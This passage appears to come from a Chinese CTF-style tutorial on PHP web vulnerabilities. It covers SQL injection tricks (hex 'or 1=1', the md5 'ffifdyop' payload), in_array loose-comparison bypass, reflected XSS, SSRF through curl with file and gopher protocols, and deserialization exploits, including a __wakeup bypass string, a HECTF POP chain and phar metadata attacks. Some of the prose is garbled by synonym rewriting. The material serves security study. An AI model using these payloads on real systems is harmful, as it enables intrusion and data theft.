这里说一下0x31206f722031这个是什么?这个是or 1=1的十六进制,从这里可以看出,如果某处利用了此函数,并将润色后的变量带入数据库查询语句中,那么我们就能利用此漏洞实现sql注入。同样的,这个漏洞再CTF比赛中也是很常见的。
in_array()绕过#此函数用来检测数组中是否存在某个值。
in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool
有时候我们再传入一个数组的时候,代码可能会过滤某些敏感字符串,但是我们又须要传入这样的字符串,那么我们该当如何绕过它的检测呢?
<?php $myarr = array('Ameng');$needle = 0;if(in_array($needle,$myarr)){ echo "It's in array"; }else{ echo "not in array"; }?>
上面代码示例实行的结果会是什么呢?从大略的逻辑上剖析。0是不存在要搜索的数组中的,以是理论上,该当是输出not in array,但是实际却输出了It's in array。这是为什么呢?缘故原由就在于PHP的默认类型转换。这里我们第三个参数并没有设置为true那么默认就是非严格比较,以是在数字与字符串进行比较时,字符串先被逼迫转换成数字,然后再进行比较。并且由于某些类型转换正在发生,就会导致发生数据丢失,并且都被视为相同。以是归根到底还是非严格比较导致的问题。以是再碰着这个函数用来变量检测的时候,我们可以看看第三个参数是否开启,若未开启,则存在数组绕过。
XSS#在这里首先你要对XSS的基本事理要知道。PHP中一下这些函数之以是会涌现XSS的漏洞情形,紧张还是没有对输出的变量进行过滤。
print()#代码示例:
<?php$str = $_GET['x'];print($str);?>
print_r()#
代码示例:
<?php$str = $_GET['x'];print_r($str);?>
echo()#
代码示例:
<?php$str = $_GET['x'];echo "$str";?>
我们传入相应参数,实行结果如下:
printf()#
代码示例:
<?php$str = $_GET['x'];printf($str);?>
实行结果和上面相同,我就不再贴图片了。
sprintf()#代码示例:
<?php$str = $_GET['x'];$a = sprintf($str);echo "$a";?>
此函数输出一条信息,并退出当前脚本。
代码示例:
<?php$str = $_GET['x'];die($str);?>
此函数打印变量的干系信息,用来显示关于一个或多个表达式的构造信息,包括表达式的类型与值。数组将递归展开之,通过缩进显示其构造。
代码示例:
<?php$str = $_GET['x'];$a = array($str);var_dump($a);?>
此函数输出或者返回一个变量的字符串表示。它返回关于通报给该函数的变量的构造信息,和var_dump类似,不同的是其返回的表示是合法的 PHP 代码。
代码示例:
<?php$str = $_GET['x'];$a = array($str);var_export($a);?>
PHP黑邪术#
这里大部分函数的利用已经在上面详细先容过了,这里我就针对每一种函数大概先容一下其紧张存在的利用方法。
md5()#md5()函数绕过sql注入。我们来看一个例子。
代码示例:
$password=$_POST['password'];$sql = "SELECT FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";$result=mysqli_query($link,$sql);if(mysqli_num_rows($result)>0){ echo 'flag is :'.$flag;}else{ echo '密码缺点!';}
这里提交的参数通过md5函数处理,然后再进入SQL查询语句,以是常规的注入手段就弗成了,那么如果md5后的转换成字符串格式变成了'or'xxxx的格式,不就可以注入了么。md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c
转成字符串为'or'6xxx
eval()#在实行命令时,可利用分号布局处多条语句。类似这种。
<?php$cmd = "echo 'a';echo '--------------';echo 'b';";echo eval($cmd);?>
存在%00截断,当碰着利用此函数来进行正则匹配时,我们可以用%00来截断正则匹配,从而绕过正则。
strcmp()#这个在前面先容过,便是数组绕过技巧。
curl_setopt()#存在ssrf漏洞。
代码示例:
<?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['Ameng']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); curl_close($ch);?>
利用file协议进行任意文件读取
除此之外还有dict协议查看端口信息。gopher协议反弹shell利用等。
preg_replace()#此函数前面详细先容过,/e模式下的命令实行。
urldecode()#url二次编码绕过。
代码示例:
<?php$name = urldecode($_GET['name']);if($name = "Ameng"){echo "Plase~";}else{echo "sorry";}?>
将Ameng进行二次url编码,然后传入即可得到知足条件。
file_get_contents()#常用伪协议来进行绕过。
parse_url()#此函数紧张用于绕过某些过滤,先大略理解一下函数的基本用法。
代码示例:
<?php$url = "http://www.jlx-love.com/about";$parts = parse_url($url);print_r($parts);?> 实行结果——>Array ( [scheme] => http [host] => www.jlx-love.com [path] => /about )
可以看到这个函数把我们的变量值拆分成一个几个部分。那么绕过过滤又是说的哪回事呢?实在便是当我们在浏览器输入url时,那么就会将url中的\转换为/,从而就会导致parse_url的白名单绕过。
反序列化漏洞#简介#在理解一些函数之前,我们首先须要理解什么是序列化和反序列化。
序列化:把工具转换为字节序列的过程成为工具的序列化。
反序列化:把字节序列规复为工具的过程称为工具的反序列化。
归根到底,便是将数据转化成一种可逆的数据构造,逆向的过程便是反序列化。
在 PHP 中紧张便是通过serialize和unserialize来实现数据的序列化和反序列化。
那么漏洞是如何形成的呢?
PHP 的反序列化漏洞紧张是由于未对用户输入的序列化字符串进行检测,导致攻击者可以掌握反序列化的过程,从而就可以导致各种危险行为。
那么我们先来看一看序列化后的数据格式是若何的,理解了序列化后的数据,我们才能更好的理解和利用漏洞。以是我们来布局一段序列化的值。
代码示例:
<?php class Ameng{ public $who = "Ameng";}$a = serialize(new Ameng);echo $a;?>实行结果——>O:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}
这里还要补充一点,便是关于变量的分类,变量的种别有三种:
public:正常操作,在反序列化时原型就行。protected:反序列化时在变量名前加上%00%00。private:反序列化时在变量名前加上%00类名%00。序列化我们知道了是个什么格式,那么如何利用反序列化来触发漏洞进行利用呢?
__wakeup()#在我们反序列化时,会先检讨类中是否存在__wakeup()如果存在,则实行。但是如果工具属性个数的值大于真实的属性个数时就会跳过__wakeup()实行__destruct()。
影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
代码示例:
<?phpheader("Content-Type: text/html; charset=utf-8"); class Ameng{ public $name='1.php'; function __destruct(){ echo "destruct实行<br>"; echo highlight_file($this->name, true); } function __wakeup(){ echo "wakeup实行<br>"; $this->name='1.php'; } }$data = 'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}';unserialize($data);?>
实行结果:
__sleep()#
__sleep()函数刚好与__waeup()相反,前者是在序列化一个工具时被调用,后者是在反序列化时被调用。那么该如何利用呢?我们看看代码。
<?phpheader("Content-Type: text/html; charset=utf-8"); class Ameng{ public $name='1.php'; public function __construct($name){ $this->name=$name; }function __sleep(){echo "sleep()实行<br>";echo highlight_file($this->name, true);}function __destruct(){echo "over<br>";} function __wakeup(){ echo "wakeup实行<br>"; } }$a = new Ameng("2.php");$b = serialize($a);?>
实行结果:
__destruct()#
这个函数的浸染其实在上面的例子中已经显示了,便是在工具被销毁时调用,倘若这个函数中有命令实行之类的功能,我们完备可以利用这一点来进行漏洞的利用,得到自己想要的结果。
__construct()#这个函数的浸染在__sleep()也是表示了的,这个函数便是在一个工具被创建时会调用这个函数,比如我在__sleep()中用这个函数来对变量进行赋值。
__call()#此函数用来监视一个工具中的其他方法。当你考试测验调用一个工具中不存在的或者被权限掌握的方法,那么__call就会被自动调用
代码示例:
<?phpheader("Content-Type: text/html; charset=utf-8"); class Ameng{ public function __call($name,$args){echo "<br>"."call实行失落败";}public static function __callStatic($name,$args){echo "<br>"."callStatic实行失落败";} }$a = new Ameng;$a->b();Ameng::b();?>
实行结果:
__callStatic()#
这个方法是 PHP5.3 增加的新方法。紧张是调用不可见的静态方法时会自动调用。详细利用在上面代码示例和结果可见。那么这两个函数有什么值得我们关注的呢?想一想,倘若这两个函数中有命令实行的函数,那么我们调用工具中不存在方法时就可以调用这两个函数,这不就达到我们想要的目的了。
__get()#一样平常来说,我们总是把类的属性定义为private。但有时候我们对属性的读取和赋值是非常频繁,这个时候PHP就供应了两个函数来获取和赋值类中的属性。
get方法用来获取私有成员属性的值。
代码示例:
//__get()方法用来获取私有属性public function __get($name){return $this->$name;}
此方法用来给私有成员属性赋值。
代码示例:
//__set()方法用来设置私有属性public function __set($name,$value){$this->$name = $value;}
这个函数是当我们对不可访问属性调用isset()或者empty()时调用。
在这之前我们要先理解一下isset()函数的利用。isset()函数检测某个变量是否被设置了。以是这个时候问题就来了,如果我们利用这个函数去检测工具里面的成员是否设定,那么会发生什么呢?
若工具的成员是公有成员,那没什么问题。倘若工具的成员是私有成员,那这个函数就弗成了,人家根本就不许可你访问,你咋能检测人家是否设定了呢?那我们该怎么办?这个时候我们可以在类里面加上__isset()方法,接下来就可以利用isset()在工具表面访问工具里面的私有成员了。
代码示例:
<?phpheader("Content-Type: text/html; charset=utf-8"); class Ameng{ private $name;public function __construct($name=""){$this->name = $name;}public function __isset($content){echo "当在类表面调用isset方法时,那么我就会实行!
"."<br>";echo isset($this->$content);} }$ameng = new Ameng("Ameng");echo isset($ameng->name);?>
实行结果:
__unset()#
这个方法基本和__insset情形同等,都是在类外访问类内私有成员时要调用这个函数,基本调用的方法和上面同等。
代码示例:
<?phpheader("Content-Type: text/html; charset=utf-8"); class Ameng{ private $name;public function __construct($name=""){$this->name = $name;}public function __unset($content){echo "当在类表面调用unset方法时,那么我就会实行!
"."<br>";echo isset($this->$content);} }$ameng = new Ameng("Ameng");unset($ameng->name);?>
实行结果:
toString()#
此函数是将一个工具当作一个字符串来利用时,就会自动调用该方法,且在该方法中,可以返回一定的字符串,来表示该工具转换为字符串之后的结果。
常日情形下,我们访问类的属性的时候都是$实例化名称->属性名这样的格式去访问,但是我们不能直接echo去输出工具,可是当我们利用__tostring()就可以直接用echo来输出了。
代码示例:
<?php header("Content-Type: text/html; charset=utf-8");class Ameng{ public $name; private $age; function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name . $this->age . '岁了'; } }$ameng = new Ameng('Ameng',3);echo $ameng;?>
实行结果:
Ameng3岁了
1
__invoke()#当考试测验以调用函数的办法调用一个工具时,__invoke()方法会被自动调用。
版本哀求:
PHP > 5.3.0
代码示例:
<?php header("Content-Type: text/html; charset=utf-8");class Ameng{ public $name; private $age; function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __invoke(){ echo '你用调用函数的办法调用了这个工具,以是我起浸染了'; } }$ameng = new Ameng('Ameng',3);$ameng();?>实行结果——>你用调用函数的办法调用了这个工具,以是我起浸染
来看一个大略的例子(HECTF):
<?phpclass Read { public $var; public $token; public $token_flag; public function __construct() { $this->token_flag = $this->token = md5(rand(1,10000)); $this->token =&$this->token_flag; } public function __invoke(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { echo "flag{}"; } }}class Show{ public $source; public $str; public function __construct() { echo $this->source."<br>"; } public function __toString() { $this->str['str']->source; } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } }}class Test{ public $params; public function __construct() { $this->params = array(); } public function __get($key) { $func = $this->params; return $func(); }}if(isset($_GET['chal'])){ $chal = unserialize($_GET['chal']);}
我们要拿到flag,在__invoke()函数,当工具被当作函数调用时,那么就会自动实行该函数。以是我们要做的便是用函数来调用工具。
那么我们首先找到出发点,便是unserialize函数的变量,由于这个变量是我们可控的,但是肯定是过滤了一些常见的协议,那些协议我在上面也大略先容过用法。
通过函数的过程搜索,我们能够看到preg_match第二个参数会被当作字符串处理,在类Test中,我们可以给$func赋值给Read工具。
那么我们可以布局如下pop链
<?php ·········· $read = new Read(); $show = new Show(); $test = new Test();$read->token = &$read->token_flag; $test->params = $read; $show->str['str'] = $test; $show->source = $show; echo serialize($show);?>
给个图总结一下:
phar与反序列化#简介#
PHAR("PHP archive")是PHP里类似JAR的一种打包文件,在PHP > 5.3版本中默认开启。实在便是用来打包程序的。
文件构造#a stub:xxx<?php xxx;__HALT_COMPILER();?>前面内容不限,后面必须以__HALT_COMPILER();?>结尾,否则phar扩展无法将该文件识别为phar文件。官方手册phar文件实质上是一种压缩文件,个中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手腕最核心的地方。实验#条件:将php.ini中的phar.readonly选项设置为off,不然无法天生phar文件。
phar.php:#<?php class TestObject { } $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $o -> data='Hello I am Ameng'; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //署名自动打算 $phar->stopBuffering();?>
在我们访问之后,会在当前目录下天生一个phar.phar文件,如下图所示。
然后查看文件的十六进制形式,我们就可以看到meta-data因此序列化的形式存储。既然存在序列化的数据,那肯定有序列化的逆向操作反序列化。那么这里在PHP中存在很多通过phar://伪协议解析phar文件时,会将meta-data进行反序列化。可用函数如下图
Ameng.php#
<?phpclass TestObject{ function __destruct() { echo $this -> data; // TODO: Implement __destruct() method. }}include('phar://phar.phar');?>
实行结果:
这里大略先容一下phar的大致运用,更详细可以参考seebug (opens new window)。
其他一些总结#basename()#此函数返回路径中的文件名的一部分(后面)
basename(path,suffix)
代码示例:
<?php $path = "index.php/test.php";echo basename($path);?> 实行结果——>test.php
此函数还有一个特点,便是会去掉文件名的非ASCII码值。
代码示例:
<?php$path = $_GET['x'];print_r(basename($path));?>
我们通过 url 传入参数x=index.php/config.php/%ff
结果如下:
我们看到,%ff直接没了,而是直接输出前面的的文件名,这个可以用来绕过一些正则匹配。缘故原由就在于%ff在通过 url 传参时会被 url 解码,解码成了不可见字符,知足了basename函数对文件名的非ASCII值去除的特点,从而被删掉。
欢迎大家补充。